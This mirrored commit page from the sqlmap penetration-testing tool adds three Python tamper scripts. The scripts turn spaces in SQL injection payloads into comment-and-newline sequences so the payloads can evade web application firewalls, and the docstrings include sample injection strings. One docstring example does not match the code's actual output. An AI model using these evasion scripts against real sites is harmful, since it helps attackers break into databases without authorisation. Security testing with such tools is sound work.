mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-05-05 16:23:46 +03:00
commiting new tampering scripts contributed by Roberto Salgado
This commit is contained in:
parent
61e3621855
commit
5f08b90b6c
|
@ -436,7 +436,7 @@ Tomoyuki Sakurai <cherry@trombik.org>
|
||||||
for submitting to the FreeBSD project the sqlmap 0.5 port
|
for submitting to the FreeBSD project the sqlmap 0.5 port
|
||||||
|
|
||||||
Roberto Salgado <lightos@gmail.com>
|
Roberto Salgado <lightos@gmail.com>
|
||||||
for contributing several tamper scripts
|
for contributing considerable amount of tamper scripts
|
||||||
|
|
||||||
Pedro Jacques Santos Santiago <pedro__jacques@hotmail.com>
|
Pedro Jacques Santos Santiago <pedro__jacques@hotmail.com>
|
||||||
for reporting considerable amount of bugs
|
for reporting considerable amount of bugs
|
||||||
|
|
54
tamper/space2dash.py
Normal file
54
tamper/space2dash.py
Normal file
|
@ -0,0 +1,54 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
|
||||||
|
See the file 'doc/COPYING' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
|
||||||
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.LOW
|
||||||
|
|
||||||
|
def tamper(payload):
|
||||||
|
"""
|
||||||
|
Replaces space character (' ') with a dash comment ('--') followed by
|
||||||
|
a random string and a new line ('\n')
|
||||||
|
|
||||||
|
Example:
|
||||||
|
* Input: 1 AND 9227=9227
|
||||||
|
* Output: 1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* MSSQL
|
||||||
|
* SQLite
|
||||||
|
|
||||||
|
Tested against:
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
* Useful to bypass several web application firewalls
|
||||||
|
* Used during the ZeroNights SQL injection challenge,
|
||||||
|
https://proton.onsec.ru/contest/
|
||||||
|
"""
|
||||||
|
|
||||||
|
retVal = ""
|
||||||
|
|
||||||
|
if payload:
|
||||||
|
for i in xrange(len(payload)):
|
||||||
|
if payload[i].isspace():
|
||||||
|
randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for x in range(random.randint(6, 12)))
|
||||||
|
retVal += "--%s%%0A" % randomStr
|
||||||
|
elif payload[i] == '#' or payload[i:i+3] == '-- ':
|
||||||
|
retVal += payload[i:]
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
retVal += payload[i]
|
||||||
|
|
||||||
|
return retVal
|
47
tamper/space2mssqlhash.py
Normal file
47
tamper/space2mssqlhash.py
Normal file
|
@ -0,0 +1,47 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
|
||||||
|
See the file 'doc/COPYING' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.LOW
|
||||||
|
|
||||||
|
def tamper(payload):
|
||||||
|
"""
|
||||||
|
Replaces space character (' ') with a pound character ('#') followed by
|
||||||
|
a new line ('\n')
|
||||||
|
|
||||||
|
Example:
|
||||||
|
* Input: 1 AND 9227=9227
|
||||||
|
* Output: 1%23%0A9227=9227
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* MSSQL
|
||||||
|
* MySQL
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
* Useful to bypass several web application firewalls
|
||||||
|
"""
|
||||||
|
|
||||||
|
retVal = ""
|
||||||
|
|
||||||
|
if payload:
|
||||||
|
for i in xrange(len(payload)):
|
||||||
|
if payload[i].isspace():
|
||||||
|
retVal += "%23%0A"
|
||||||
|
elif payload[i] == '#' or payload[i:i+3] == '-- ':
|
||||||
|
retVal += payload[i:]
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
retVal += payload[i]
|
||||||
|
|
||||||
|
return retVal
|
52
tamper/space2mysqldash.py
Normal file
52
tamper/space2mysqldash.py
Normal file
|
@ -0,0 +1,52 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
|
||||||
|
See the file 'doc/COPYING' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.LOW
|
||||||
|
|
||||||
|
def dependencies():
|
||||||
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
|
||||||
|
|
||||||
|
def tamper(payload):
|
||||||
|
"""
|
||||||
|
Replaces space character (' ') with a dash comment ('--') followed by
|
||||||
|
a new line ('\n')
|
||||||
|
|
||||||
|
Example:
|
||||||
|
* Input: 1 AND 9227=9227
|
||||||
|
* Output: 1--%0AAND--%0A9227=9227
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* MySQL
|
||||||
|
* MSSQL
|
||||||
|
|
||||||
|
Tested against:
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
* Useful to bypass several web application firewalls.
|
||||||
|
"""
|
||||||
|
|
||||||
|
retVal = ""
|
||||||
|
|
||||||
|
if payload:
|
||||||
|
for i in xrange(len(payload)):
|
||||||
|
if payload[i].isspace():
|
||||||
|
retVal += "--%0A"
|
||||||
|
elif payload[i] == '#' or payload[i:i+3] == '-- ':
|
||||||
|
retVal += payload[i:]
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
retVal += payload[i]
|
||||||
|
|
||||||
|
return retVal
|
Loading…
Reference in New Issue
Block a user